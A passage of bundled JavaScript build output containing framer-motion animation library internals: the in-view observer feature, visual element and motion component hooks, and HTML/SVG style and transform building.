18875 rootObservers[key] = new IntersectionObserver(fireAllObserverCallbacks, { root, ...options2 });
18876 }
18877 return rootObservers[key];
18878 }
18879 function observeIntersection(element, options2, callback) {
18880 const rootInteresectionObserver = initIntersectionObserver(options2);
18881 observerCallbacks.set(element, callback);
18882 rootInteresectionObserver.observe(element);
18883 return () => {
18884 observerCallbacks.delete(element);
18885 rootInteresectionObserver.unobserve(element);
18886 };
18887 }
18888
18889 // packages/components/node_modules/framer-motion/dist/es/motion/features/viewport/index.mjs
18890 var thresholdNames = {
18891 some: 0,
18892 all: 1
18893 };
18894 var InViewFeature = class extends Feature {
18895 constructor() {
18896 super(...arguments);
18897 this.hasEnteredView = false;
18898 this.isInView = false;
18899 }
18900 startObserver() {
18901 this.unmount();
18902 const { viewport = {} } = this.node.getProps();
18903 const { root, margin: rootMargin, amount = "some", once } = viewport;
18904 const options2 = {
18905 root: root ? root.current : void 0,
18906 rootMargin,
18907 threshold: typeof amount === "number" ? amount : thresholdNames[amount]
18908 };
18909 const onIntersectionUpdate = (entry) => {
18910 const { isIntersecting } = entry;
18911 if (this.isInView === isIntersecting)
18912 return;
18913 this.isInView = isIntersecting;
18914 if (once && !isIntersecting && this.hasEnteredView) {
18915 return;
18916 } else if (isIntersecting) {
18917 this.hasEnteredView = true;
18918 }
18919 if (this.node.animationState) {
18920 this.node.animationState.setActive("whileInView", isIntersecting);
18921 }
18922 const { onViewportEnter, onViewportLeave } = this.node.getProps();
18923 const callback = isIntersecting ? onViewportEnter : onViewportLeave;
18924 callback && callback(entry);
18925 };
18926 return observeIntersection(this.node.current, options2, onIntersectionUpdate);
18927 }
18928 mount() {
18929 this.startObserver();
18930 }
18931 update() {
18932 if (typeof IntersectionObserver === "undefined")
18933 return;
18934 const { props, prevProps } = this.node;
18935 const hasOptionsChanged = ["amount", "margin", "root"].some(hasViewportOptionChanged(props, prevProps));
18936 if (hasOptionsChanged) {
18937 this.startObserver();
18938 }
18939 }
18940 unmount() {
18941 }
18942 };
18943 function hasViewportOptionChanged({ viewport = {} }, { viewport: prevViewport = {} } = {}) {
18944 return (name) => viewport[name] !== prevViewport[name];
18945 }
18946
18947 // packages/components/node_modules/framer-motion/dist/es/motion/features/gestures.mjs
18948 var gestureAnimations = {
18949 inView: {
18950 Feature: InViewFeature
18951 },
18952 tap: {
18953 Feature: PressGesture
18954 },
18955 focus: {
18956 Feature: FocusGesture
18957 },
18958 hover: {
18959 Feature: HoverGesture
18960 }
18961 };
18962
18963 // packages/components/node_modules/framer-motion/dist/es/motion/features/layout.mjs
18964 var layout = {
18965 layout: {
18966 ProjectionNode: HTMLProjectionNode,
18967 MeasureLayout
18968 }
18969 };
18970
18971 // packages/components/node_modules/framer-motion/dist/es/motion/index.mjs
18972 var import_jsx_runtime40 = __toESM(require_jsx_runtime(), 1);
18973 var import_react69 = __toESM(require_react(), 1);
18974
18975 // packages/components/node_modules/framer-motion/dist/es/context/MotionConfigContext.mjs
18976 var import_react62 = __toESM(require_react(), 1);
18977 var MotionConfigContext = (0, import_react62.createContext)({
18978 transformPagePoint: (p3) => p3,
18979 isStatic: false,
18980 reducedMotion: "never"
18981 });
18982
18983 // packages/components/node_modules/framer-motion/dist/es/context/MotionContext/index.mjs
18984 var import_react63 = __toESM(require_react(), 1);
18985 var MotionContext = (0, import_react63.createContext)({});
18986
18987 // packages/components/node_modules/framer-motion/dist/es/motion/utils/use-visual-element.mjs
18988 var import_react66 = __toESM(require_react(), 1);
18989
18990 // packages/components/node_modules/framer-motion/dist/es/utils/use-isomorphic-effect.mjs
18991 var import_react64 = __toESM(require_react(), 1);
18992
18993 // packages/components/node_modules/framer-motion/dist/es/utils/is-browser.mjs
18994 var isBrowser = typeof window !== "undefined";
18995
18996 // packages/components/node_modules/framer-motion/dist/es/utils/use-isomorphic-effect.mjs
18997 var useIsomorphicLayoutEffect = isBrowser ? import_react64.useLayoutEffect : import_react64.useEffect;
18998
18999 // packages/components/node_modules/framer-motion/dist/es/context/LazyContext.mjs
19000 var import_react65 = __toESM(require_react(), 1);
19001 var LazyContext = (0, import_react65.createContext)({ strict: false });
19002
19003 // packages/components/node_modules/framer-motion/dist/es/motion/utils/use-visual-element.mjs
19004 function useVisualElement(Component9, visualState, props, createVisualElement, ProjectionNodeConstructor) {
19005 var _a, _b;
19006 const { visualElement: parent } = (0, import_react66.useContext)(MotionContext);
19007 const lazyContext = (0, import_react66.useContext)(LazyContext);
19008 const presenceContext = (0, import_react66.useContext)(PresenceContext);
19009 const reducedMotionConfig = (0, import_react66.useContext)(MotionConfigContext).reducedMotion;
19010 const visualElementRef = (0, import_react66.useRef)(null);
19011 createVisualElement = createVisualElement || lazyContext.renderer;
19012 if (!visualElementRef.current && createVisualElement) {
19013 visualElementRef.current = createVisualElement(Component9, {
19014 visualState,
19015 parent,
19016 props,
19017 presenceContext,
19018 blockInitialAnimation: presenceContext ? presenceContext.initial === false : false,
19019 reducedMotionConfig
19020 });
19021 }
19022 const visualElement = visualElementRef.current;
19023 const initialLayoutGroupConfig = (0, import_react66.useContext)(SwitchLayoutGroupContext);
19024 if (visualElement && !visualElement.projection && ProjectionNodeConstructor && (visualElement.type === "html" || visualElement.type === "svg")) {
19025 createProjectionNode2(visualElementRef.current, props, ProjectionNodeConstructor, initialLayoutGroupConfig);
19026 }
19027 const isMounted = (0, import_react66.useRef)(false);
19028 (0, import_react66.useInsertionEffect)(() => {
19029 if (visualElement && isMounted.current) {
19030 visualElement.update(props, presenceContext);
19031 }
19032 });
19033 const optimisedAppearId = props[optimizedAppearDataAttribute];
19034 const wantsHandoff = (0, import_react66.useRef)(Boolean(optimisedAppearId) && !((_a = window.MotionHandoffIsComplete) === null || _a === void 0 ? void 0 : _a.call(window, optimisedAppearId)) && ((_b = window.MotionHasOptimisedAnimation) === null || _b === void 0 ? void 0 : _b.call(window, optimisedAppearId)));
19035 useIsomorphicLayoutEffect(() => {
19036 if (!visualElement)
19037 return;
19038 isMounted.current = true;
19039 window.MotionIsMounted = true;
19040 visualElement.updateFeatures();
19041 microtask.render(visualElement.render);
19042 if (wantsHandoff.current && visualElement.animationState) {
19043 visualElement.animationState.animateChanges();
19044 }
19045 });
19046 (0, import_react66.useEffect)(() => {
19047 if (!visualElement)
19048 return;
19049 if (!wantsHandoff.current && visualElement.animationState) {
19050 visualElement.animationState.animateChanges();
19051 }
19052 if (wantsHandoff.current) {
19053 queueMicrotask(() => {
19054 var _a2;
19055 (_a2 = window.MotionHandoffMarkAsComplete) === null || _a2 === void 0 ? void 0 : _a2.call(window, optimisedAppearId);
19056 });
19057 wantsHandoff.current = false;
19058 }
19059 });
19060 return visualElement;
19061 }
19062 function createProjectionNode2(visualElement, props, ProjectionNodeConstructor, initialPromotionConfig) {
19063 const { layoutId, layout: layout2, drag: drag2, dragConstraints, layoutScroll, layoutRoot } = props;
19064 visualElement.projection = new ProjectionNodeConstructor(visualElement.latestValues, props["data-framer-portal-id"] ? void 0 : getClosestProjectingNode(visualElement.parent));
19065 visualElement.projection.setOptions({
19066 layoutId,
19067 layout: layout2,
19068 alwaysMeasureLayout: Boolean(drag2) || dragConstraints && isRefObject(dragConstraints),
19069 visualElement,
19070 /**
19071 * TODO: Update options in an effect. This could be tricky as it'll be too late
19072 * to update by the time layout animations run.
19073 * We also need to fix this safeToRemove by linking it up to the one returned by usePresence,
19074 * ensuring it gets called if there's no potential layout animations.
19075 *
19076 */
19077 animationType: typeof layout2 === "string" ? layout2 : "both",
19078 initialPromotionConfig,
19079 layoutScroll,
19080 layoutRoot
19081 });
19082 }
19083 function getClosestProjectingNode(visualElement) {
19084 if (!visualElement)
19085 return void 0;
19086 return visualElement.options.allowProjection !== false ? visualElement.projection : getClosestProjectingNode(visualElement.parent);
19087 }
19088
19089 // packages/components/node_modules/framer-motion/dist/es/motion/utils/use-motion-ref.mjs
19090 var import_react67 = __toESM(require_react(), 1);
19091 function useMotionRef(visualState, visualElement, externalRef) {
19092 return (0, import_react67.useCallback)(
19093 (instance) => {
19094 instance && visualState.mount && visualState.mount(instance);
19095 if (visualElement) {
19096 if (instance) {
19097 visualElement.mount(instance);
19098 } else {
19099 visualElement.unmount();
19100 }
19101 }
19102 if (externalRef) {
19103 if (typeof externalRef === "function") {
19104 externalRef(instance);
19105 } else if (isRefObject(externalRef)) {
19106 externalRef.current = instance;
19107 }
19108 }
19109 },
19110 /**
19111 * Only pass a new ref callback to React if we've received a visual element
19112 * factory. Otherwise we'll be mounting/remounting every time externalRef
19113 * or other dependencies change.
19114 */
19115 [visualElement]
19116 );
19117 }
19118
19119 // packages/components/node_modules/framer-motion/dist/es/context/MotionContext/create.mjs
19120 var import_react68 = __toESM(require_react(), 1);
19121
19122 // packages/components/node_modules/framer-motion/dist/es/render/utils/is-controlling-variants.mjs
19123 function isControllingVariants(props) {
19124 return isAnimationControls(props.animate) || variantProps.some((name) => isVariantLabel(props[name]));
19125 }
19126 function isVariantNode(props) {
19127 return Boolean(isControllingVariants(props) || props.variants);
19128 }
19129
19130 // packages/components/node_modules/framer-motion/dist/es/context/MotionContext/utils.mjs
19131 function getCurrentTreeVariants(props, context) {
19132 if (isControllingVariants(props)) {
19133 const { initial, animate } = props;
19134 return {
19135 initial: initial === false || isVariantLabel(initial) ? initial : void 0,
19136 animate: isVariantLabel(animate) ? animate : void 0
19137 };
19138 }
19139 return props.inherit !== false ? context : {};
19140 }
19141
19142 // packages/components/node_modules/framer-motion/dist/es/context/MotionContext/create.mjs
19143 function useCreateMotionContext(props) {
19144 const { initial, animate } = getCurrentTreeVariants(props, (0, import_react68.useContext)(MotionContext));
19145 return (0, import_react68.useMemo)(() => ({ initial, animate }), [variantLabelsAsDependency(initial), variantLabelsAsDependency(animate)]);
19146 }
19147 function variantLabelsAsDependency(prop) {
19148 return Array.isArray(prop) ? prop.join(" ") : prop;
19149 }
19150
19151 // packages/components/node_modules/framer-motion/dist/es/motion/features/definitions.mjs
19152 var featureProps = {
19153 animation: [
19154 "animate",
19155 "variants",
19156 "whileHover",
19157 "whileTap",
19158 "exit",
19159 "whileInView",
19160 "whileFocus",
19161 "whileDrag"
19162 ],
19163 exit: ["exit"],
19164 drag: ["drag", "dragControls"],
19165 focus: ["whileFocus"],
19166 hover: ["whileHover", "onHoverStart", "onHoverEnd"],
19167 tap: ["whileTap", "onTap", "onTapStart", "onTapCancel"],
19168 pan: ["onPan", "onPanStart", "onPanSessionStart", "onPanEnd"],
19169 inView: ["whileInView", "onViewportEnter", "onViewportLeave"],
19170 layout: ["layout", "layoutId"]
19171 };
19172 var featureDefinitions = {};
19173 for (const key in featureProps) {
19174 featureDefinitions[key] = {
19175 isEnabled: (props) => featureProps[key].some((name) => !!props[name])
19176 };
19177 }
19178
19179 // packages/components/node_modules/framer-motion/dist/es/motion/features/load-features.mjs
19180 function loadFeatures(features) {
19181 for (const key in features) {
19182 featureDefinitions[key] = {
19183 ...featureDefinitions[key],
19184 ...features[key]
19185 };
19186 }
19187 }
19188
19189 // packages/components/node_modules/framer-motion/dist/es/motion/utils/symbol.mjs
19190 var motionComponentSymbol = /* @__PURE__ */ Symbol.for("motionComponentSymbol");
19191
19192 // packages/components/node_modules/framer-motion/dist/es/motion/index.mjs
19193 function createRendererMotionComponent({ preloadedFeatures, createVisualElement, useRender, useVisualState, Component: Component9 }) {
19194 preloadedFeatures && loadFeatures(preloadedFeatures);
19195 function MotionComponent(props, externalRef) {
19196 let MeasureLayout2;
19197 const configAndProps = {
19198 ...(0, import_react69.useContext)(MotionConfigContext),
19199 ...props,
19200 layoutId: useLayoutId(props)
19201 };
19202 const { isStatic } = configAndProps;
19203 const context = useCreateMotionContext(props);
19204 const visualState = useVisualState(props, isStatic);
19205 if (!isStatic && isBrowser) {
19206 useStrictMode(configAndProps, preloadedFeatures);
19207 const layoutProjection = getProjectionFunctionality(configAndProps);
19208 MeasureLayout2 = layoutProjection.MeasureLayout;
19209 context.visualElement = useVisualElement(Component9, visualState, configAndProps, createVisualElement, layoutProjection.ProjectionNode);
19210 }
19211 return (0, import_jsx_runtime40.jsxs)(MotionContext.Provider, { value: context, children: [MeasureLayout2 && context.visualElement ? (0, import_jsx_runtime40.jsx)(MeasureLayout2, { visualElement: context.visualElement, ...configAndProps }) : null, useRender(Component9, props, useMotionRef(visualState, context.visualElement, externalRef), visualState, isStatic, context.visualElement)] });
19212 }
19213 const ForwardRefMotionComponent = (0, import_react69.forwardRef)(MotionComponent);
19214 ForwardRefMotionComponent[motionComponentSymbol] = Component9;
19215 return ForwardRefMotionComponent;
19216 }
19217 function useLayoutId({ layoutId }) {
19218 const layoutGroupId = (0, import_react69.useContext)(LayoutGroupContext).id;
19219 return layoutGroupId && layoutId !== void 0 ? layoutGroupId + "-" + layoutId : layoutId;
19220 }
19221 function useStrictMode(configAndProps, preloadedFeatures) {
19222 const isStrict = (0, import_react69.useContext)(LazyContext).strict;
19223 if (preloadedFeatures && isStrict) {
19224 const strictMessage = "You have rendered a `motion` component within a `LazyMotion` component. This will break tree shaking. Import and render a `m` component instead.";
19225 configAndProps.ignoreStrict ? warning(false, strictMessage) : invariant2(false, strictMessage);
19226 }
19227 }
19228 function getProjectionFunctionality(props) {
19229 const { drag: drag2, layout: layout2 } = featureDefinitions;
19230 if (!drag2 && !layout2)
19231 return {};
19232 const combined = { ...drag2, ...layout2 };
19233 return {
19234 MeasureLayout: (drag2 === null || drag2 === void 0 ? void 0 : drag2.isEnabled(props)) || (layout2 === null || layout2 === void 0 ? void 0 : layout2.isEnabled(props)) ? combined.MeasureLayout : void 0,
19235 ProjectionNode: combined.ProjectionNode
19236 };
19237 }
19238
19239 // packages/components/node_modules/framer-motion/dist/es/render/svg/lowercase-elements.mjs
19240 var lowercaseSVGElements = [
19241 "animate",
19242 "circle",
19243 "defs",
19244 "desc",
19245 "ellipse",
19246 "g",
19247 "image",
19248 "line",
19249 "filter",
19250 "marker",
19251 "mask",
19252 "metadata",
19253 "path",
19254 "pattern",
19255 "polygon",
19256 "polyline",
19257 "rect",
19258 "stop",
19259 "switch",
19260 "symbol",
19261 "svg",
19262 "text",
19263 "tspan",
19264 "use",
19265 "view"
19266 ];
19267
19268 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/is-svg-component.mjs
19269 function isSVGComponent(Component9) {
19270 if (
19271 /**
19272 * If it's not a string, it's a custom React component. Currently we only support
19273 * HTML custom React components.
19274 */
19275 typeof Component9 !== "string" || /**
19276 * If it contains a dash, the element is a custom HTML webcomponent.
19277 */
19278 Component9.includes("-")
19279 ) {
19280 return false;
19281 } else if (
19282 /**
19283 * If it's in our list of lowercase SVG tags, it's an SVG component
19284 */
19285 lowercaseSVGElements.indexOf(Component9) > -1 || /**
19286 * If it contains a capital letter, it's an SVG component
19287 */
19288 /[A-Z]/u.test(Component9)
19289 ) {
19290 return true;
19291 }
19292 return false;
19293 }
19294
19295 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/render.mjs
19296 function renderHTML(element, { style: style2, vars }, styleProp, projection) {
19297 Object.assign(element.style, style2, projection && projection.getProjectionStyles(styleProp));
19298 for (const key in vars) {
19299 element.style.setProperty(key, vars[key]);
19300 }
19301 }
19302
19303 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/camel-case-attrs.mjs
19304 var camelCaseAttributes = /* @__PURE__ */ new Set([
19305 "baseFrequency",
19306 "diffuseConstant",
19307 "kernelMatrix",
19308 "kernelUnitLength",
19309 "keySplines",
19310 "keyTimes",
19311 "limitingConeAngle",
19312 "markerHeight",
19313 "markerWidth",
19314 "numOctaves",
19315 "targetX",
19316 "targetY",
19317 "surfaceScale",
19318 "specularConstant",
19319 "specularExponent",
19320 "stdDeviation",
19321 "tableValues",
19322 "viewBox",
19323 "gradientTransform",
19324 "pathLength",
19325 "startOffset",
19326 "textLength",
19327 "lengthAdjust"
19328 ]);
19329
19330 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/render.mjs
19331 function renderSVG(element, renderState, _styleProp, projection) {
19332 renderHTML(element, renderState, void 0, projection);
19333 for (const key in renderState.attrs) {
19334 element.setAttribute(!camelCaseAttributes.has(key) ? camelToDash(key) : key, renderState.attrs[key]);
19335 }
19336 }
19337
19338 // packages/components/node_modules/framer-motion/dist/es/motion/utils/is-forced-motion-value.mjs
19339 function isForcedMotionValue(key, { layout: layout2, layoutId }) {
19340 return transformProps.has(key) || key.startsWith("origin") || (layout2 || layoutId !== void 0) && (!!scaleCorrectors[key] || key === "opacity");
19341 }
19342
19343 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/scrape-motion-values.mjs
19344 function scrapeMotionValuesFromProps(props, prevProps, visualElement) {
19345 var _a;
19346 const { style: style2 } = props;
19347 const newValues = {};
19348 for (const key in style2) {
19349 if (isMotionValue(style2[key]) || prevProps.style && isMotionValue(prevProps.style[key]) || isForcedMotionValue(key, props) || ((_a = visualElement === null || visualElement === void 0 ? void 0 : visualElement.getValue(key)) === null || _a === void 0 ? void 0 : _a.liveStyle) !== void 0) {
19350 newValues[key] = style2[key];
19351 }
19352 }
19353 return newValues;
19354 }
19355
19356 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/scrape-motion-values.mjs
19357 function scrapeMotionValuesFromProps2(props, prevProps, visualElement) {
19358 const newValues = scrapeMotionValuesFromProps(props, prevProps, visualElement);
19359 for (const key in props) {
19360 if (isMotionValue(props[key]) || isMotionValue(prevProps[key])) {
19361 const targetKey = transformPropOrder.indexOf(key) !== -1 ? "attr" + key.charAt(0).toUpperCase() + key.substring(1) : key;
19362 newValues[targetKey] = props[key];
19363 }
19364 }
19365 return newValues;
19366 }
19367
19368 // packages/components/node_modules/framer-motion/dist/es/motion/utils/use-visual-state.mjs
19369 var import_react71 = __toESM(require_react(), 1);
19370
19371 // packages/components/node_modules/framer-motion/dist/es/utils/use-constant.mjs
19372 var import_react70 = __toESM(require_react(), 1);
19373 function useConstant(init2) {
19374 const ref = (0, import_react70.useRef)(null);
19375 if (ref.current === null) {
19376 ref.current = init2();
19377 }
19378 return ref.current;
19379 }
19380
19381 // packages/components/node_modules/framer-motion/dist/es/motion/utils/use-visual-state.mjs
19382 function makeState({ scrapeMotionValuesFromProps: scrapeMotionValuesFromProps3, createRenderState, onMount }, props, context, presenceContext) {
19383 const state = {
19384 latestValues: makeLatestValues(props, context, presenceContext, scrapeMotionValuesFromProps3),
19385 renderState: createRenderState()
19386 };
19387 if (onMount) {
19388 state.mount = (instance) => onMount(props, instance, state);
19389 }
19390 return state;
19391 }
19392 var makeUseVisualState = (config) => (props, isStatic) => {
19393 const context = (0, import_react71.useContext)(MotionContext);
19394 const presenceContext = (0, import_react71.useContext)(PresenceContext);
19395 const make = () => makeState(config, props, context, presenceContext);
19396 return isStatic ? make() : useConstant(make);
19397 };
19398 function makeLatestValues(props, context, presenceContext, scrapeMotionValues) {
19399 const values = {};
19400 const motionValues = scrapeMotionValues(props, {});
19401 for (const key in motionValues) {
19402 values[key] = resolveMotionValue(motionValues[key]);
19403 }
19404 let { initial, animate } = props;
19405 const isControllingVariants$1 = isControllingVariants(props);
19406 const isVariantNode$1 = isVariantNode(props);
19407 if (context && isVariantNode$1 && !isControllingVariants$1 && props.inherit !== false) {
19408 if (initial === void 0)
19409 initial = context.initial;
19410 if (animate === void 0)
19411 animate = context.animate;
19412 }
19413 let isInitialAnimationBlocked = presenceContext ? presenceContext.initial === false : false;
19414 isInitialAnimationBlocked = isInitialAnimationBlocked || initial === false;
19415 const variantToSet = isInitialAnimationBlocked ? animate : initial;
19416 if (variantToSet && typeof variantToSet !== "boolean" && !isAnimationControls(variantToSet)) {
19417 const list = Array.isArray(variantToSet) ? variantToSet : [variantToSet];
19418 for (let i3 = 0; i3 < list.length; i3++) {
19419 const resolved = resolveVariantFromProps(props, list[i3]);
19420 if (resolved) {
19421 const { transitionEnd, transition, ...target } = resolved;
19422 for (const key in target) {
19423 let valueTarget = target[key];
19424 if (Array.isArray(valueTarget)) {
19425 const index2 = isInitialAnimationBlocked ? valueTarget.length - 1 : 0;
19426 valueTarget = valueTarget[index2];
19427 }
19428 if (valueTarget !== null) {
19429 values[key] = valueTarget;
19430 }
19431 }
19432 for (const key in transitionEnd) {
19433 values[key] = transitionEnd[key];
19434 }
19435 }
19436 }
19437 }
19438 return values;
19439 }
19440
19441 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/create-render-state.mjs
19442 var createHtmlRenderState = () => ({
19443 style: {},
19444 transform: {},
19445 transformOrigin: {},
19446 vars: {}
19447 });
19448
19449 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/create-render-state.mjs
19450 var createSvgRenderState = () => ({
19451 ...createHtmlRenderState(),
19452 attrs: {}
19453 });
19454
19455 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/get-as-type.mjs
19456 var getValueAsType = (value, type) => {
19457 return type && typeof value === "number" ? type.transform(value) : value;
19458 };
19459
19460 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/build-transform.mjs
19461 var translateAlias = {
19462 x: "translateX",
19463 y: "translateY",
19464 z: "translateZ",
19465 transformPerspective: "perspective"
19466 };
19467 var numTransforms = transformPropOrder.length;
19468 function buildTransform(latestValues, transform, transformTemplate) {
19469 let transformString = "";
19470 let transformIsDefault = true;
19471 for (let i3 = 0; i3 < numTransforms; i3++) {
19472 const key = transformPropOrder[i3];
19473 const value = latestValues[key];
19474 if (value === void 0)
19475 continue;
19476 let valueIsDefault = true;
19477 if (typeof value === "number") {
19478 valueIsDefault = value === (key.startsWith("scale") ? 1 : 0);
19479 } else {
19480 valueIsDefault = parseFloat(value) === 0;
19481 }
19482 if (!valueIsDefault || transformTemplate) {
19483 const valueAsType = getValueAsType(value, numberValueTypes[key]);
19484 if (!valueIsDefault) {
19485 transformIsDefault = false;
19486 const transformName = translateAlias[key] || key;
19487 transformString += `${transformName}(${valueAsType}) `;
19488 }
19489 if (transformTemplate) {
19490 transform[key] = valueAsType;
19491 }
19492 }
19493 }
19494 transformString = transformString.trim();
19495 if (transformTemplate) {
19496 transformString = transformTemplate(transform, transformIsDefault ? "" : transformString);
19497 } else if (transformIsDefault) {
19498 transformString = "none";
19499 }
19500 return transformString;
19501 }
19502
19503 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/build-styles.mjs
19504 function buildHTMLStyles(state, latestValues, transformTemplate) {
19505 const { style: style2, vars, transformOrigin } = state;
19506 let hasTransform2 = false;
19507 let hasTransformOrigin = false;
19508 for (const key in latestValues) {
19509 const value = latestValues[key];
19510 if (transformProps.has(key)) {
19511 hasTransform2 = true;
19512 continue;
19513 } else if (isCSSVariableName(key)) {
19514 vars[key] = value;
19515 continue;
19516 } else {
19517 const valueAsType = getValueAsType(value, numberValueTypes[key]);
19518 if (key.startsWith("origin")) {
19519 hasTransformOrigin = true;
19520 transformOrigin[key] = valueAsType;
19521 } else {
19522 style2[key] = valueAsType;
19523 }
19524 }
19525 }
19526 if (!latestValues.transform) {
19527 if (hasTransform2 || transformTemplate) {
19528 style2.transform = buildTransform(latestValues, state.transform, transformTemplate);
19529 } else if (style2.transform) {
19530 style2.transform = "none";
19531 }
19532 }
19533 if (hasTransformOrigin) {
19534 const { originX = "50%", originY = "50%", originZ = 0 } = transformOrigin;
19535 style2.transformOrigin = `${originX} ${originY} ${originZ}`;
19536 }
19537 }
19538
19539 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/transform-origin.mjs
19540 function calcOrigin2(origin, offset3, size3) {
19541 return typeof origin === "string" ? origin : px.transform(offset3 + size3 * origin);
19542 }
19543 function calcSVGTransformOrigin(dimensions, originX, originY) {
19544 const pxOriginX = calcOrigin2(originX, dimensions.x, dimensions.width);
19545 const pxOriginY = calcOrigin2(originY, dimensions.y, dimensions.height);
19546 return `${pxOriginX} ${pxOriginY}`;
19547 }
19548
19549 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/path.mjs
19550 var dashKeys = {
19551 offset: "stroke-dashoffset",
19552 array: "stroke-dasharray"
19553 };
19554 var camelKeys = {
19555 offset: "strokeDashoffset",
19556 array: "strokeDasharray"
19557 };
19558 function buildSVGPath(attrs, length2, spacing = 1, offset3 = 0, useDashCase = true) {
19559 attrs.pathLength = 1;
19560 const keys = useDashCase ? dashKeys : camelKeys;
19561 attrs[keys.offset] = px.transform(-offset3);
19562 const pathLength = px.transform(length2);
19563 const pathSpacing = px.transform(spacing);
19564 attrs[keys.array] = `${pathLength} ${pathSpacing}`;
19565 }
19566
19567 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/build-attrs.mjs
19568 function buildSVGAttrs(state, {
19569 attrX,
19570 attrY,
19571 attrScale,
19572 originX,
19573 originY,
19574 pathLength,
19575 pathSpacing = 1,
19576 pathOffset = 0,
19577 // This is object creation, which we try to avoid per-frame.
19578 ...latest
19579 }, isSVGTag2, transformTemplate) {
19580 buildHTMLStyles(state, latest, transformTemplate);
19581 if (isSVGTag2) {
19582 if (state.style.viewBox) {
19583 state.attrs.viewBox = state.style.viewBox;
19584 }
19585 return;
19586 }
19587 state.attrs = state.style;
19588 state.style = {};
19589 const { attrs, style: style2, dimensions } = state;
19590 if (attrs.transform) {
19591 if (dimensions)
19592 style2.transform = attrs.transform;
19593 delete attrs.transform;
19594 }
19595 if (dimensions && (originX !== void 0 || originY !== void 0 || style2.transform)) {
19596 style2.transformOrigin = calcSVGTransformOrigin(dimensions, originX !== void 0 ? originX : 0.5, originY !== void 0 ? originY : 0.5);
19597 }
19598 if (attrX !== void 0)
19599 attrs.x = attrX;
19600 if (attrY !== void 0)
19601 attrs.y = attrY;
19602 if (attrScale !== void 0)
19603 attrs.scale = attrScale;
19604 if (pathLength !== void 0) {
19605 buildSVGPath(attrs, pathLength, pathSpacing, pathOffset, false);
19606 }
19607 }
19608
19609 // packages/components/node_modules/framer-motion/dist/es/render/svg/utils/is-svg-tag.mjs
19610 var isSVGTag = (tag) => typeof tag === "string" && tag.toLowerCase() === "svg";
19611
19612 // packages/components/node_modules/framer-motion/dist/es/render/svg/config-motion.mjs
19613 var svgMotionConfig = {
19614 useVisualState: makeUseVisualState({
19615 scrapeMotionValuesFromProps: scrapeMotionValuesFromProps2,
19616 createRenderState: createSvgRenderState,
19617 onMount: (props, instance, { renderState, latestValues }) => {
19618 frame.read(() => {
19619 try {
19620 renderState.dimensions = typeof instance.getBBox === "function" ? instance.getBBox() : instance.getBoundingClientRect();
19621 } catch (e3) {
19622 renderState.dimensions = {
19623 x: 0,
19624 y: 0,
19625 width: 0,
19626 height: 0
19627 };
19628 }
19629 });
19630 frame.render(() => {
19631 buildSVGAttrs(renderState, latestValues, isSVGTag(instance.tagName), props.transformTemplate);
19632 renderSVG(instance, renderState);
19633 });
19634 }
19635 })
19636 };
19637
19638 // packages/components/node_modules/framer-motion/dist/es/render/html/config-motion.mjs
19639 var htmlMotionConfig = {
19640 useVisualState: makeUseVisualState({
19641 scrapeMotionValuesFromProps,
19642 createRenderState: createHtmlRenderState
19643 })
19644 };
19645
19646 // packages/components/node_modules/framer-motion/dist/es/render/dom/use-render.mjs
19647 var import_react74 = __toESM(require_react(), 1);
19648
19649 // packages/components/node_modules/framer-motion/dist/es/render/html/use-props.mjs
19650 var import_react72 = __toESM(require_react(), 1);
19651 function copyRawValuesOnly(target, source, props) {
19652 for (const key in source) {
19653 if (!isMotionValue(source[key]) && !isForcedMotionValue(key, props)) {
19654 target[key] = source[key];
19655 }
19656 }
19657 }
19658 function useInitialMotionValues({ transformTemplate }, visualState) {
19659 return (0, import_react72.useMemo)(() => {
19660 const state = createHtmlRenderState();
19661 buildHTMLStyles(state, visualState, transformTemplate);
19662 return Object.assign({}, state.vars, state.style);
19663 }, [visualState]);
19664 }
19665 function useStyle(props, visualState) {
19666 const styleProp = props.style || {};
19667 const style2 = {};
19668 copyRawValuesOnly(style2, styleProp, props);
19669 Object.assign(style2, useInitialMotionValues(props, visualState));
19670 return style2;
19671 }
19672 function useHTMLProps(props, visualState) {
19673 const htmlProps = {};
19674 const style2 = useStyle(props, visualState);
19675 if (props.drag && props.dragListener !== false) {
19676 htmlProps.draggable = false;
19677 style2.userSelect = style2.WebkitUserSelect = style2.WebkitTouchCallout = "none";
19678 style2.touchAction = props.drag === true ? "none" : `pan-${props.drag === "x" ? "y" : "x"}`;
19679 }
19680 if (props.tabIndex === void 0 && (props.onTap || props.onTapStart || props.whileTap)) {
19681 htmlProps.tabIndex = 0;
19682 }
19683 htmlProps.style = style2;
19684 return htmlProps;
19685 }
19686
19687 // packages/components/node_modules/framer-motion/dist/es/motion/utils/valid-prop.mjs
19688 var validMotionProps = /* @__PURE__ */ new Set([
19689 "animate",
19690 "exit",
19691 "variants",
19692 "initial",
19693 "style",
19694 "values",
19695 "variants",
19696 "transition",
19697 "transformTemplate",
19698 "custom",
19699 "inherit",
19700 "onBeforeLayoutMeasure",
19701 "onAnimationStart",
19702 "onAnimationComplete",
19703 "onUpdate",
19704 "onDragStart",
19705 "onDrag",
19706 "onDragEnd",
19707 "onMeasureDragConstraints",
19708 "onDirectionLock",
19709 "onDragTransitionEnd",
19710 "_dragX",
19711 "_dragY",
19712 "onHoverStart",
19713 "onHoverEnd",
19714 "onViewportEnter",
19715 "onViewportLeave",
19716 "globalTapTarget",
19717 "ignoreStrict",
19718 "viewport"
19719 ]);
19720 function isValidMotionProp(key) {
19721 return key.startsWith("while") || key.startsWith("drag") && key !== "draggable" || key.startsWith("layout") || key.startsWith("onTap") || key.startsWith("onPan") || key.startsWith("onLayout") || validMotionProps.has(key);
19722 }
19723
19724 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/filter-props.mjs
19725 var shouldForward = (key) => !isValidMotionProp(key);
19726 function loadExternalIsValidProp(isValidProp) {
